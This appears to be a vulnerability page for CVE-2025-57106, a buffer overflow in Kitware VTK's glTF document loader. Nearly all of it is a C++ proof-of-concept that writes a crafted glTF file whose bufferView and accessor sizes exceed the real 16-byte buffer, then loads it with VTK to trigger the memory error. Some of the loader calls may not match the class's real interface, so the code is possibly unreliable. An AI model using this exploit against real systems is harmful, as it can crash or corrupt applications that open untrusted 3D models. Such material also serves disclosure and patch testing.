CVE-2025-57106 Kitware VTK GLTFDocumentLoader缓冲区溢出漏洞

#include <vtkSmartPointer.h> #include <vtkGLTFDocumentLoader.h> #include <vtkActor.h> #include <vtkRenderer.h> #include <vtkRenderWindow.h> #include <fstream> #include <nlohmann/json.hpp> using json = nlohmann::json; void createMaliciousGLTF(const std::string& filename) { // Create a malicious GLTF file with invalid accessor parameters json gltf; gltf["asset"]["version"] = "2.0"; gltf["asset"]["generator"] = "Malicious GLTF Generator"; // Create buffer with minimal data std::vector<char> buffer(16, 0); gltf["buffers"] = json::array(); gltf["buffers"].push_back({ {"byteLength", buffer.size()} }); // Create bufferView with invalid length gltf["bufferViews"] = json::array(); gltf["bufferViews"].push_back({ {"buffer", 0}, {"byteOffset", 0}, {"byteLength", 1000} // Exceeds buffer size }); // Create accessor with malicious parameters gltf["accessors"] = json::array(); gltf["accessors"].push_back({ {"bufferView", 0}, {"componentType", 5126}, // FLOAT {"count", 100}, // Request 100 floats {"type", "VEC3"}, // but declare as vec3 {"byteOffset", 0} }); // Write binary buffer std::ofstream binFile(filename + ".bin", std::ios::binary); binFile.write(buffer.data(), buffer.size()); binFile.close(); // Write GLTF JSON std::ofstream gltfFile(filename + ".gltf"); gltfFile << gltf.dump(2); gltfFile.close(); } int main() { // Generate malicious GLTF file std::string maliciousFile = "malicious_model"; createMaliciousGLTF(maliciousFile); // Load the malicious file with VTK vtkSmartPointer<vtkGLTFDocumentLoader> loader = vtkSmartPointer<vtkGLTFDocumentLoader>::New(); loader->SetFileName(maliciousFile.c_str()); loader->Update(); return 0; }